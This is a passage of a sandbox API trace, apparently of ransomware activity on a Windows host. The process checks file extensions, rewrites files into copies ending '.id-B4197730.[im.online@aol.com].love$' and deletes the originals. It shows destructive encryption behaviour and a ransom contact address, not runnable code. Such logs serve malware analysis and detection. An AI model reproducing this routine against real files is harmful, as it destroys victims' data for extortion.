(lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0102.961] GetLastError () returned 0x0 [0102.961] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x8f66, lpOverlapped=0x0) returned 1 [0102.973] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x8f70, lpOverlapped=0x0) returned 1 [0102.975] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.975] WriteFile (in: hFile=0x2b8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe6, lpOverlapped=0x0) returned 1 [0102.975] SetEndOfFile (hFile=0x2b8) returned 1 [0103.503] CloseHandle (hObject=0x2b8) returned 1 [0103.589] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0103.589] SetEndOfFile (hFile=0x2d8) returned 1 [0103.607] CloseHandle (hObject=0x2d8) returned 1 [0103.608] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.612] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0103.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.612] lstrlenW (lpString=".doc") returned 4 [0103.612] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.612] lstrlenW (lpString=".docx") returned 5 [0103.613] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0103.613] lstrlenW (lpString=".pdf") returned 4 [0103.613] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.613] lstrlenW (lpString=".xls") returned 4 [0103.613] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.613] lstrlenW (lpString=".xlsx") returned 5 [0103.613] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0103.613] lstrlenW (lpString=".ppt") returned 4 [0103.613] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.613] lstrlenW (lpString=".zip") returned 4 [0103.613] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.613] lstrlenW (lpString=".rar") returned 4 [0103.613] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.613] lstrlenW (lpString=".bz2") returned 4 [0103.613] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.613] lstrlenW (lpString=".7z") returned 3 [0103.613] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.613] lstrlenW (lpString=".dbf") returned 4 [0103.613] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.613] lstrlenW (lpString=".1cd") returned 4 [0103.613] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.613] lstrlenW (lpString=".jpg") returned 4 [0103.613] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.614] lstrlenW (lpString=".doc") returned 4 [0103.614] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.614] lstrlenW (lpString=".docx") returned 5 [0103.614] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0103.614] lstrlenW (lpString=".pdf") returned 4 [0103.614] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.614] lstrlenW (lpString=".xls") returned 4 [0103.614] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.614] lstrlenW (lpString=".xlsx") returned 5 [0103.614] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0103.614] lstrlenW (lpString=".ppt") returned 4 [0103.614] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.614] lstrlenW (lpString=".zip") returned 4 [0103.614] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.614] lstrlenW (lpString=".rar") returned 4 [0103.614] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.614] lstrlenW (lpString=".bz2") returned 4 [0103.614] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.614] lstrlenW (lpString=".7z") returned 3 [0103.614] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.614] lstrlenW (lpString=".dbf") returned 4 [0103.614] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.614] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.614] lstrlenW (lpString=".1cd") returned 4 [0103.614] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.615] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0103.615] lstrlenW (lpString=".jpg") returned 4 [0103.615] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.615] lstrcmpiW (lpString1=".msi", lpString2=".love$") returned 1 [0103.615] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0103.615] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0103.617] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1901056) returned 1 [0103.617] CloseHandle (hObject=0x2d8) returned 1 [0103.617] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0103.617] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.617] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[im.online@aol.com].love$")) returned 1 [0103.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0103.618] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc64 | out: lpNewFilePointer=0x0) returned 1 [0103.618] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0103.618] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x36e8058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0103.632] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0103.635] ReadFile (in: hFile=0x2d8, lpBuffer=0x3728058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3728058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0103.669] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.669] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc24 | out: lpNewFilePointer=0x0) returned 1 [0103.670] ReadFile (in: hFile=0x2d8, lpBuffer=0x3768058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3768058*, lpNumberOfBytesRead=0x2bdfc30*=0x40000, lpOverlapped=0x0) returned 1 [0104.281] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0104.281] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2bdfca8, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfca8*=0xc0110, lpOverlapped=0x0) returned 1 [0104.762] SetEndOfFile (hFile=0x2d8) returned 1 [0104.763] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ec3e90 [0104.923] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0104.923] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ec3e90*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ec3e90*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0105.263] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0105.263] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ec3e90*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ec3e90*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0105.266] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc74 | out: lpNewFilePointer=0x0) returned 1 [0105.266] WriteFile (in: hFile=0x2d8, lpBuffer=0x3ec3e90*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ec3e90*, lpNumberOfBytesWritten=0x2bdfc80*=0x40000, lpOverlapped=0x0) returned 1 [0105.269] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0105.272] CloseHandle (hObject=0x2d8) returned 1 [0105.821] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0105.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.821] lstrlenW (lpString=".doc") returned 4 [0105.821] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.821] lstrlenW (lpString=".docx") returned 5 [0105.821] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0105.821] lstrlenW (lpString=".pdf") returned 4 [0105.821] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.822] lstrlenW (lpString=".xls") returned 4 [0105.822] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.822] lstrlenW (lpString=".xlsx") returned 5 [0105.822] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0105.822] lstrlenW (lpString=".ppt") returned 4 [0105.822] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.822] lstrlenW (lpString=".zip") returned 4 [0105.822] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.822] lstrlenW (lpString=".rar") returned 4 [0105.822] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.822] lstrlenW (lpString=".bz2") returned 4 [0105.822] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.822] lstrlenW (lpString=".7z") returned 3 [0105.822] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.822] lstrlenW (lpString=".dbf") returned 4 [0105.822] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.822] lstrlenW (lpString=".1cd") returned 4 [0105.822] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.822] lstrlenW (lpString=".jpg") returned 4 [0105.822] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.822] lstrlenW (lpString=".doc") returned 4 [0105.822] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.822] lstrlenW (lpString=".docx") returned 5 [0105.823] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0105.823] lstrlenW (lpString=".pdf") returned 4 [0105.823] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.823] lstrlenW (lpString=".xls") returned 4 [0105.823] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.823] lstrlenW (lpString=".xlsx") returned 5 [0105.823] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0105.823] lstrlenW (lpString=".ppt") returned 4 [0105.823] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.823] lstrlenW (lpString=".zip") returned 4 [0105.823] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.823] lstrlenW (lpString=".rar") returned 4 [0105.823] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.823] lstrlenW (lpString=".bz2") returned 4 [0105.823] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.823] lstrlenW (lpString=".7z") returned 3 [0105.823] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.823] lstrlenW (lpString=".dbf") returned 4 [0105.823] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.823] lstrlenW (lpString=".1cd") returned 4 [0105.823] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0105.823] lstrlenW (lpString=".jpg") returned 4 [0105.823] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.824] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0105.824] lstrlenW (lpString="SetupEngine.dll") returned 15 [0105.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0105.824] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=807256) returned 1 [0105.824] CloseHandle (hObject=0x2d8) returned 1 [0105.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80 [0105.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0105.825] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.825] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0105.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0105.825] GetLastError () returned 0x0 [0105.825] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0xc5158, lpOverlapped=0x0) returned 1 [0105.891] WriteFile (in: hFile=0x380, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xc5160, lpOverlapped=0x0) returned 1 [0106.120] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0106.120] WriteFile (in: hFile=0x380, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf2, lpOverlapped=0x0) returned 1 [0106.120] SetEndOfFile (hFile=0x380) returned 1 [0106.120] CloseHandle (hObject=0x380) returned 1 [0106.147] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.147] SetEndOfFile (hFile=0x2d8) returned 1 [0106.450] CloseHandle (hObject=0x2d8) returned 1 [0106.450] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0106.475] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1 [0106.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.475] lstrlenW (lpString=".doc") returned 4 [0106.475] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.475] lstrlenW (lpString=".docx") returned 5 [0106.475] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0106.475] lstrlenW (lpString=".pdf") returned 4 [0106.475] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.475] lstrlenW (lpString=".xls") returned 4 [0106.476] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.476] lstrlenW (lpString=".xlsx") returned 5 [0106.476] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0106.476] lstrlenW (lpString=".ppt") returned 4 [0106.476] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.476] lstrlenW (lpString=".zip") returned 4 [0106.476] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.476] lstrlenW (lpString=".rar") returned 4 [0106.476] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.476] lstrlenW (lpString=".bz2") returned 4 [0106.476] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.476] lstrlenW (lpString=".7z") returned 3 [0106.476] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.476] lstrlenW (lpString=".dbf") returned 4 [0106.476] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.476] lstrlenW (lpString=".1cd") returned 4 [0106.476] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.476] lstrlenW (lpString=".jpg") returned 4 [0106.476] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.476] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.476] lstrlenW (lpString=".doc") returned 4 [0106.476] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.476] lstrlenW (lpString=".docx") returned 5 [0106.476] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0106.476] lstrlenW (lpString=".pdf") returned 4 [0106.476] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.476] lstrlenW (lpString=".xls") returned 4 [0106.476] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.476] lstrlenW (lpString=".xlsx") returned 5 [0106.477] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0106.477] lstrlenW (lpString=".ppt") returned 4 [0106.477] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.477] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.477] lstrlenW (lpString=".zip") returned 4 [0106.477] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.477] lstrlenW (lpString=".rar") returned 4 [0106.477] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.477] lstrlenW (lpString=".bz2") returned 4 [0106.477] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.477] lstrlenW (lpString=".7z") returned 3 [0106.477] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.477] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.477] lstrlenW (lpString=".dbf") returned 4 [0106.477] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.477] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.477] lstrlenW (lpString=".1cd") returned 4 [0106.477] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.477] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0106.477] lstrlenW (lpString=".jpg") returned 4 [0106.477] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.477] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0106.477] lstrlenW (lpString="SetupUtility.exe") returned 16 [0106.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0106.478] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=96088) returned 1 [0106.478] CloseHandle (hObject=0x370) returned 1 [0106.478] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0106.478] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.478] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0106.478] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.478] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0106.478] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.478] GetLastError () returned 0x0 [0106.479] ReadFile (in: hFile=0x370, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x17758, lpOverlapped=0x0) returned 1 [0106.611] WriteFile (in: hFile=0x368, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x17760, lpOverlapped=0x0) returned 1 [0106.615] ReadFile (in: hFile=0x370, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, 